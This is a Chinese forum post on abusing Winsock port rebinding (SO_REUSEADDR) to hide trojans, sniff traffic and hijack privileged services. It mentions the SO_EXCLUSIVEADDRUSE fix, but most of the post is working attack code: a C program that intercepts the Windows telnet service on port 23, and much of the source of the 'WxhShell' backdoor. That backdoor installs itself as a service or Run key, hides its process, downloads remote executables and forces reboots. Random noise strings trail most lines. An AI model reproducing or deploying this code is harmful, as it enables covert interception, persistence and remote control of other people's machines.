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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Sz"rp9x+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z }t{bm  
O<H5W|cM  
  saddr.sin_family = AF_INET; Em(&cra  
xe=/T# %  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @~Uu]1  
oD@~wcMIT0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3ZAPcpB2  
_Di";fe?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LKEf#mp  
U}=o3u  
  这意味着什么?意味着可以进行如下的攻击: K]<49`MX  
$_u9Y!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 03{pxI  
Kgb 3>r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U|NVDuo{{x  
:*/'W5iM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~ .dmfA{  
)J['0DUrZK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t:SME'~.P  
WZ3GI l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IwR/4LYI  
6oQSXB@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !^,<nP  
G<8d=}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `!JcQ'u  
o\ M  
  #include }kCaTI?@#  
  #include yLDv/r  
  #include >@mvb@4*  
  #include    Q#Vg5H4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8,l~e8&  
  int main() Pf4b/w/  
  { $N[R99*x8  
  WORD wVersionRequested; L PDx3MS  
  DWORD ret; qkg`4'rLg  
  WSADATA wsaData; zFq8xw  
  BOOL val; {zri6P+s  
  SOCKADDR_IN saddr; Ul/Uk n$  
  SOCKADDR_IN scaddr; .}O _5b(  
  int err; 1dl@2CVS  
  SOCKET s; ?_VoO  
  SOCKET sc; j&c YRKpz  
  int caddsize; )Gu:eYp+`  
  HANDLE mt; uxjx~+qFd  
  DWORD tid;   _!} L\E~  
  wVersionRequested = MAKEWORD( 2, 2 ); d hp-XIA;  
  err = WSAStartup( wVersionRequested, &wsaData ); 4|]0%H~n6  
  if ( err != 0 ) { vpoYb  
  printf("error!WSAStartup failed!\n"); a9"1a'  
  return -1; z"vI-~,YU  
  } ~kJ}Z<e  
  saddr.sin_family = AF_INET; EV$$wrohQ`  
   L2j7w006  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MKr)6PG,  
s9p~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nc.(bb),  
  saddr.sin_port = htons(23); FS1> J%P  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ma%PVz`I;9  
  { 4^jIV!V  
  printf("error!socket failed!\n"); "3r7/>xy  
  return -1; Wt,t5  
  } &>T7]])  
  val = TRUE; ~@Wg3'&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X;vfbF   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BS@x&DB  
  { (z:DTe  
  printf("error!setsockopt failed!\n"); e-`=?tct  
  return -1; *\M$pUS{  
  } yG ,oSp|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; keMfK ]9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cj5; XK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uYu/0fQD  
f-BEfC,}'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0?0$6F  
  { wyVQV8+&>  
  ret=GetLastError(); :1 Y*&s  
  printf("error!bind failed!\n"); p[J 8 r{'  
  return -1; ^hN.FIzM  
  } z/Kjz$l!  
  listen(s,2); ET1>&l:.  
  while(1) itpljh  
  { "8%z,lHw  
  caddsize = sizeof(scaddr); v Wt{kg;  
  //接受连接请求 -{=c T?"+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _Dv<  
  if(sc!=INVALID_SOCKET) .R<Ke\y/  
  { KBO{ g:"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~ZN]2}  
  if(mt==NULL) AvxP0@.`  
  { B4>kx#LR  
  printf("Thread Creat Failed!\n"); %{sL/H_  
  break; `PH*tdYrh  
  } i=ztWKwKf  
  } M.(shIu!+  
  CloseHandle(mt); l|Z<pD  
  } Vjc*D]  
  closesocket(s); @[vwqPOL  
  WSACleanup(); MUeS8:q-N  
  return 0; f5droys9  
  }   i,h)  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,O;+fhUJ(  
  { xwm-)~L4T  
  SOCKET ss = (SOCKET)lpParam; R=/6bR57  
  SOCKET sc; 2 ~zo)G0  
  unsigned char buf[4096]; +~H mP Q  
  SOCKADDR_IN saddr; NyTGvBf  
  long num; ! 54(K6a[  
  DWORD val; jcuC2t  
  DWORD ret; R06zca  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !:7aXT*D$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G.}Ex!8R7_  
  saddr.sin_family = AF_INET; u40k9vh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "?yu^  
  saddr.sin_port = htons(23); 7LB#\2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G3.MS7 J  
  { @6~OQN  
  printf("error!socket failed!\n"); n5yPUJK2L6  
  return -1; )t/[z3rn  
  } ~H0WHqcy  
  val = 100; S&rfMRP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ic+tn9f\  
  { IIW6;jS  
  ret = GetLastError(); S(5aJ[7Zm  
  return -1; NyJ=^=F#  
  } #CM^f^*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?b&~(,A{  
  { j(8I+||  
  ret = GetLastError(); #$qhxYyd  
  return -1; I2b\[d  
  } ;zbF~5e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P]pVYX# m  
  { - /s2'  
  printf("error!socket connect failed!\n"); -ty_<m]  
  closesocket(sc); r}gp{Pf7e  
  closesocket(ss); CDz-IQi  
  return -1; aXSTA ,%  
  } h.\9a3B:r  
  while(1) 05<MsxB"w  
  { O*<,lq 0K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,a I0Aw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8-HMKD#V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y3 {om^ f  
  num = recv(ss,buf,4096,0); =a_B'^`L  
  if(num>0) ;tR,w   
  send(sc,buf,num,0); 4YVxRZ1[3  
  else if(num==0) )32BM+f"77  
  break; IEB|Y  
  num = recv(sc,buf,4096,0); 4Qr16,Us  
  if(num>0) FafOd9>AO  
  send(ss,buf,num,0); *lN>RWbM%  
  else if(num==0) Hm?zMyO.k  
  break; XK)qDg  
  } V9 pKb X  
  closesocket(ss); F:8cd^d~u  
  closesocket(sc); nKFua l3  
  return 0 ; HDyus5g  
  } .[-d( #l{l  
H1,;Xrm  
%} _{_Z  
========================================================== -P09u82  
1RtbQ{2F;  
下边附上一个代码,,WXhSHELL o)P'H"Ki  
pZ/aZg1Ld  
========================================================== -vXX u;frt  
9: bC{n  
#include "stdafx.h" -*sDa6L  
k,xY\r$  
#include <stdio.h> :N~1fvx  
#include <string.h>  R1YRqk  
#include <windows.h> s|U=_,.  
#include <winsock2.h> -E4e8'P;5  
#include <winsvc.h> @<ba+z>"~4  
#include <urlmon.h> kzhncku  
2 $^n@<uZ@  
#pragma comment (lib, "Ws2_32.lib") a_YE[6  
#pragma comment (lib, "urlmon.lib") aClXg-  
Tp.0@aC  
#define MAX_USER   100 // 最大客户端连接数 ,C88%k  
#define BUF_SOCK   200 // sock buffer *5k" v"NM(  
#define KEY_BUFF   255 // 输入 buffer M`$s dZ"  
QvK-3w;=  
#define REBOOT     0   // 重启 1&~u:RUXe  
#define SHUTDOWN   1   // 关机 !M&L<0b:7e  
a%"My;8  
#define DEF_PORT   5000 // 监听端口 p4;A[2Ot`:  
hL#5:~(  
#define REG_LEN     16   // 注册表键长度 CPVR  
#define SVC_LEN     80   // NT服务名长度 UdmYS3zs  
6 6x> *  
// 从dll定义API K.?~@5%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9FT;?~,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "VxZnT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %D|27gh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MP\$_;&xB  
jN:!V t  
// wxhshell配置信息 XUmL8  
struct WSCFG { Yxye?R-:  
  int ws_port;         // 监听端口 pOlo_na}[  
  char ws_passstr[REG_LEN]; // 口令 @.f@N;z  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y,OSQBgk  
  char ws_regname[REG_LEN]; // 注册表键名 9"g=it2Rh6  
  char ws_svcname[REG_LEN]; // 服务名 5n,?>> p$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |ahleu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L-\-wXg%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 & IVwm"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RKsr}-1 8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hM")DmvB4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +!IIt {u  
E(A7DXzbR  
}; "Zd4e2>{M\  
GUJ[2/V~A  
// default Wxhshell configuration [H-,zY  
struct WSCFG wscfg={DEF_PORT, ZcgSVMqEX  
    "xuhuanlingzhe", (3`Q`o;  
    1, il `O*6-  
    "Wxhshell", 7q*L-Xe]k  
    "Wxhshell", vdrV)^  
            "WxhShell Service", )=TD}Xb  
    "Wrsky Windows CmdShell Service", YRF%].A%2  
    "Please Input Your Password: ", :9N~wd  
  1, EotZ$O=  
  "http://www.wrsky.com/wxhshell.exe", "/Fp_g6#:  
  "Wxhshell.exe" 2'_xg~  
    }; [OBj2=  
|LA./%U  
// 消息定义模块 hM^#X,7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Um 9Gjd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; az@{O4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z-;<R$  
char *msg_ws_ext="\n\rExit."; @K/}Ob4   
char *msg_ws_end="\n\rQuit."; rH7|r\]r  
char *msg_ws_boot="\n\rReboot..."; '"LrGvkZ  
char *msg_ws_poff="\n\rShutdown..."; Qrjo@_+w!  
char *msg_ws_down="\n\rSave to "; Qi`Lj5;\F  
1lZl10M:f  
char *msg_ws_err="\n\rErr!"; !qPVC\l  
char *msg_ws_ok="\n\rOK!"; b[,J-/;JNL  
4VINu9\V  
char ExeFile[MAX_PATH]; (y%}].[bB  
int nUser = 0; P3 se"pP  
HANDLE handles[MAX_USER]; h}fz`ti U  
int OsIsNt; {Y-<#U~iH  
uc9t0]o=h  
SERVICE_STATUS       serviceStatus; 57IAH$n8o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wjW>#DE  
/n;-f%dL  
// 函数声明 7?<.L  
int Install(void); ?WE#%W7U  
int Uninstall(void); p x1y#Q  
int DownloadFile(char *sURL, SOCKET wsh); |f1 S&b.  
int Boot(int flag); n;8[WR)  
void HideProc(void); "mc/fp  
int GetOsVer(void); )8vz4e Y  
int Wxhshell(SOCKET wsl); s*{l}~fPkW  
void TalkWithClient(void *cs); v'uWmL7C  
int CmdShell(SOCKET sock); [2I1W1pd  
int StartFromService(void); S 4uX utd  
int StartWxhshell(LPSTR lpCmdLine); )*@n G$i99  
,K=\Y9l3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \}Fx''  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wYy=Tl-N  
P3X;&iT  
// 数据结构和表定义 8o43J;mA  
SERVICE_TABLE_ENTRY DispatchTable[] = i356m9j  
{ %D_2;  
{wscfg.ws_svcname, NTServiceMain}, mne4uW  
{NULL, NULL} ]V*s-och'  
}; -Yx'qz@  
%PozxF:  
// 自我安装 $5kb3x<W  
int Install(void) ;0DT f  
{ 6lw)L  
  char svExeFile[MAX_PATH]; GlkTpX^b  
  HKEY key; :VpRpj4f  
  strcpy(svExeFile,ExeFile); ;sd[Q01  
94 58.!3  
// 如果是win9x系统,修改注册表设为自启动 Z5 iP1/&D  
if(!OsIsNt) { ]OIB;h;3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xl [3*K   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4FURm@C6  
  RegCloseKey(key); wdg,dk9e$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _'DT)%K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2F9Gx;}t5=  
  RegCloseKey(key); xUl=N   
  return 0; n{sF'n</  
    } FG/".dU  
  } "ee:Z_Sz  
} gDbj!(tm  
else { B].V|8h  
3z7SK Gy  
// 如果是NT以上系统,安装为系统服务 UhKC:<%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MLwh&I9)  
if (schSCManager!=0) jb;!"HC  
{ #1fT\aP  
  SC_HANDLE schService = CreateService FYPv:k   
  ( d%+oCoeb  
  schSCManager, tt5t(+5j  
  wscfg.ws_svcname, 'fpm] *ig  
  wscfg.ws_svcdisp, x!5b" "  
  SERVICE_ALL_ACCESS, dH:z _$Mg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2I'gT$h  
  SERVICE_AUTO_START, .. jc^'L  
  SERVICE_ERROR_NORMAL, 4 mj\wBp  
  svExeFile, ?VCdT`6=  
  NULL, 9C&Xs nk  
  NULL, L#U-d zy\  
  NULL, matW>D;J  
  NULL, h r@c7/L  
  NULL P5$d#Y(=  
  ); F}9!k LR  
  if (schService!=0) +xoh=m  
  { bY` b3  
  CloseServiceHandle(schService);  TA;r  
  CloseServiceHandle(schSCManager); iCd$gwA>F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VF#2I %R*  
  strcat(svExeFile,wscfg.ws_svcname); 2@7f^be  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R1't W=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +yC]f b  
  RegCloseKey(key); ,uz+/K%OA5  
  return 0; a'zXLlXgGd  
    } ~x67v+I  
  } w3,DsEXu  
  CloseServiceHandle(schSCManager); ;MSdTHN"  
} .`w[A  
} ? 2#tIND  
{7EnM1]  
return 1; p7SX,kpt>  
} Pv-El+e!  
96a2G,c >V  
// 自我卸载 j%w}hGW%,  
int Uninstall(void) a4a/]q4T  
{ 5a8[0&hA 2  
  HKEY key; pTzwyj!SD  
vI84= n  
if(!OsIsNt) { I`e$U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8]G  
  RegDeleteValue(key,wscfg.ws_regname); UQ X.  
  RegCloseKey(key); a"ct"g=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (w1M\yodV  
  RegDeleteValue(key,wscfg.ws_regname); /R/\>'{E&c  
  RegCloseKey(key); mZ%"""X\Ei  
  return 0; %#AM }MWIa  
  } `Zdeq.R]  
} +, IMN)?;z  
} Ca2He}r`  
else { ]TE(:]o7V  
?$chO|QY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S*aMUV&  
if (schSCManager!=0) (ncm]W  
{ i>*|k]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); < bvbfS  
  if (schService!=0) $Gy&  
  { pxGDzU  
  if(DeleteService(schService)!=0) { 7O.?I# 76  
  CloseServiceHandle(schService); hXAgT!ZD  
  CloseServiceHandle(schSCManager); H\>0jr `  
  return 0; ]J '#KT{  
  } hRU5CH/!  
  CloseServiceHandle(schService); Bd++G'FZ  
  } /r8'stRzv  
  CloseServiceHandle(schSCManager); KfPYH\ 0  
} {s{ bnU  
} q HU}EEv  
w'r?)WW$  
return 1; ,P>xpfdK  
} xs}3=&c(  
vvi[+$M  
// 从指定url下载文件 )01,3J>#  
int DownloadFile(char *sURL, SOCKET wsh) 0[ BPmO6  
{ #/,WgsAC  
  HRESULT hr; IG(1h+5 R(  
char seps[]= "/"; RV_(T+  
char *token; i"_@iN0N  
char *file; *+UgrsRk  
char myURL[MAX_PATH]; xwJ. cy  
char myFILE[MAX_PATH];  ob_*fP  
NZQl#ZJH:  
strcpy(myURL,sURL); 6OPYq*|  
  token=strtok(myURL,seps); yQ03&{#  
  while(token!=NULL) LkwjEJQf  
  { *NjjFk=R  
    file=token; C f(g  
  token=strtok(NULL,seps); />dH\KvN  
  } q}+Fm?B   
vU9j|z  
GetCurrentDirectory(MAX_PATH,myFILE); RG8Ek"D@  
strcat(myFILE, "\\"); 3;'RF#VL  
strcat(myFILE, file); ,7/F?!G!J  
  send(wsh,myFILE,strlen(myFILE),0); -}G>{5.A  
send(wsh,"...",3,0); L5RBe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \2^_v' >K  
  if(hr==S_OK) h?-*SLT  
return 0; cYx.<b JH  
else GE!fh1[[u  
return 1; W }  
Q~-MB]'  
} >"|"Gy (  
*%aWGAu:  
// 系统电源模块 T$pBgS>  
int Boot(int flag) + d289"  
{ hhr!FQ.+/  
  HANDLE hToken; d8Sr,t+  
  TOKEN_PRIVILEGES tkp; 7H$wpn Zln  
5)=YTUCk  
  if(OsIsNt) { 1$RUhxT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u}(K3H3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZQN%!2  
    tkp.PrivilegeCount = 1; SLjSNuOP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \2OjIEQQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \sc's7  
if(flag==REBOOT) { ~&%&Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5`A^"}0  
  return 0; &<$YR~g5j$  
} 4iC=+YUn  
else { UC*\3:>'n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cz.,QIt_  
  return 0; Rdj/n :  
} bKac?y~S_  
  } RA ER\9i  
  else { \ ~uY);  
if(flag==REBOOT) { C|g]Y 7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z_WJgH2c  
  return 0; )9~-^V0A^>  
} )ad6>Y  
else { b Sm*/Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) " LkI'>3}  
  return 0; `CqF&b  
} rZkl0Y;n\  
} QQW]j;'~  
*'\ xlsp#  
return 1; D]*<J"/]d  
} jImw_Q  
bVW2Tjc:  
// win9x进程隐藏模块 =q"o%dc`R  
void HideProc(void) ]`T*}$|  
{ v7#`b}'W  
N*6lyFcg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OqlP_^Zz7p  
  if ( hKernel != NULL ) !v?WyGbUg  
  { nv}z%.rRUj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uK5 C-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;(0|2I'"  
    FreeLibrary(hKernel); }e8u p*#me  
  } Nny#}k Bt  
Gid6,J  
return; K/IG6s;Xj  
} U#' WP  
8%#pv}  
// 获取操作系统版本 HWOOw&^<  
int GetOsVer(void) gkMyo`  
{ B4{clI_i  
  OSVERSIONINFO winfo; m={TBV,L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NsUP0B}.  
  GetVersionEx(&winfo); (GB*+@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _6Qb 3tl  
  return 1; 4#Id0['  
  else ]^BgSC  
  return 0; Msl8o c  
} `R@b`3*%v  
,); -v4$  
// 客户端句柄模块 .xV^%e?H  
int Wxhshell(SOCKET wsl) R~!md  
{ vq-# %o  
  SOCKET wsh; [a!*m<  
  struct sockaddr_in client; _}3NLAqg  
  DWORD myID; ,;k`N`#'  
1 TA\6a}  
  while(nUser<MAX_USER) U?&&yynK  
{ iZn<j'u  
  int nSize=sizeof(client); f,0,:)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); / &#b*46  
  if(wsh==INVALID_SOCKET) return 1; N)Qz:o0W  
_t.Ub:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1 ILA Utf)  
if(handles[nUser]==0) Z<W`5sop^  
  closesocket(wsh); d8% sGH  
else IZ 3e:  
  nUser++; tr-muhuK  
  } vuO~^N]G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D9;s%  
gSt'<v  
  return 0; 87q~ nk  
} m(p0)X),_i  
Rb l4aB+   
// 关闭 socket mt*/%>@7R  
void CloseIt(SOCKET wsh) +hUz/G+3  
{ p}d+L{"V  
closesocket(wsh); :,1 kSM%r  
nUser--; o6c>sh  
ExitThread(0); #1<Jwt+  
} NW`L6wgl  
c'&\[b(m  
// 客户端请求句柄  YW'l),Z  
void TalkWithClient(void *cs) v%!'vhf_K  
{ -,^Z5N#\|  
`PI?RU[g*  
  SOCKET wsh=(SOCKET)cs; L2{b~`UvP  
  char pwd[SVC_LEN]; zIy&gOX  
  char cmd[KEY_BUFF]; :<i<\TH'  
char chr[1]; 08F~6e6a8  
int i,j; uL9O_a;!  
RE.t<VasP  
  while (nUser < MAX_USER) { M:d} P  
= sh3&8  
if(wscfg.ws_passstr) { NkY7Hg0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3"p'WZ>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #Z1 <lAy  
  //ZeroMemory(pwd,KEY_BUFF); 'NSfGC%7R  
      i=0; #v}pn2g%>  
  while(i<SVC_LEN) { iNv"!'|  
~U<=SyZYo  
  // 设置超时 IUSV\X9  
  fd_set FdRead; b3l~wp6>  
  struct timeval TimeOut; !1[ZfTX^a  
  FD_ZERO(&FdRead); Pm== m9  
  FD_SET(wsh,&FdRead); R-OQ(]<*  
  TimeOut.tv_sec=8; eh}I?:(a?  
  TimeOut.tv_usec=0; y?ypRCgO.u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ).8NZ Aj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B(,j*,f  
E<r<ObeRv`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /f]'_t0\.  
  pwd=chr[0]; ]3I@5}5%  
  if(chr[0]==0xd || chr[0]==0xa) { Y20T$5{#  
  pwd=0; Q 1[E iM3  
  break; xyyEaB  
  } -v{LT=,O  
  i++; u -A_l<K  
    } 2*TPW  
E3QyiW  
  // 如果是非法用户,关闭 socket 7[It  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jYE ?wc+FT  
} #@}wl  
L-VisZ-FK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m e2$ R>@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Rt^G  
O[15x H,  
while(1) { iG+=whvL  
sjG@4Or  
  ZeroMemory(cmd,KEY_BUFF); W ![*0pL  
UqNUP+K  
      // 自动支持客户端 telnet标准   F`M`c%  
  j=0; 2aJ_[3p/h]  
  while(j<KEY_BUFF) { > 8%O;3-m#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b/obHB+:  
  cmd[j]=chr[0]; Pv3qN{265  
  if(chr[0]==0xa || chr[0]==0xd) { }T&~DVM  
  cmd[j]=0; /PZxF  
  break; ~=gpn|@b  
  } |SuN3B4e  
  j++; 51Q~/  
    } q*7:L  
)uC5  
  // 下载文件 ,$bK)|pGV  
  if(strstr(cmd,"http://")) { Y3bZ&G)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '4,>#D8@O  
  if(DownloadFile(cmd,wsh)) %,f(jQfg_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cS RmC  
  else Vu;z|L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lN'b"N  
  } >;+q,U}  
  else { !NTt' 4/F{  
jS4 fANG  
    switch(cmd[0]) { /-&2>4I  
  1ZO/R%[  
  // 帮助 RKb (  
  case '?': { ')>D*e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7uq^TO>9f  
    break; 4%5 +  
  } /7igPNhx  
  // 安装 gXe`G( w  
  case 'i': { \?"p]&2UcB  
    if(Install()) tC\(H=ecP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |nmt /[  
    else m.ejGm?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ao$|`Lgj=z  
    break; RL b o  
    } z4 KKt&  
  // 卸载 j.+ }Z |  
  case 'r': { e@{Rlz   
    if(Uninstall()) OPC8fX5.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eu0j jeB  
    else 4D sHUc6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BVu{To:g  
    break; oW3|b2D  
    } uA~?z :~=  
  // 显示 wxhshell 所在路径 @.} @K  
  case 'p': { nJY3 1(p  
    char svExeFile[MAX_PATH]; 6&_K;  
    strcpy(svExeFile,"\n\r"); S#nW )=   
      strcat(svExeFile,ExeFile); 70.Tm#qh  
        send(wsh,svExeFile,strlen(svExeFile),0); c+501's  
    break; r*{`_G=1  
    } h_15"rd  
  // 重启 YR u#JYti  
  case 'b': { ._TN;tR~'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +!$]a^3l  
    if(Boot(REBOOT)) E <\\/Q%w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , FR/X/8  
    else { </D )i  
    closesocket(wsh); _kdt0Vr,L  
    ExitThread(0); gl 27&'?E*  
    } k(M(]y_  
    break; SLda>I(p7&  
    } #Ve@D@d[  
  // 关机 k,-0OoCL-!  
  case 'd': { 5A+r^xN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u,./,:O%=  
    if(Boot(SHUTDOWN)) fndbGbl8p  
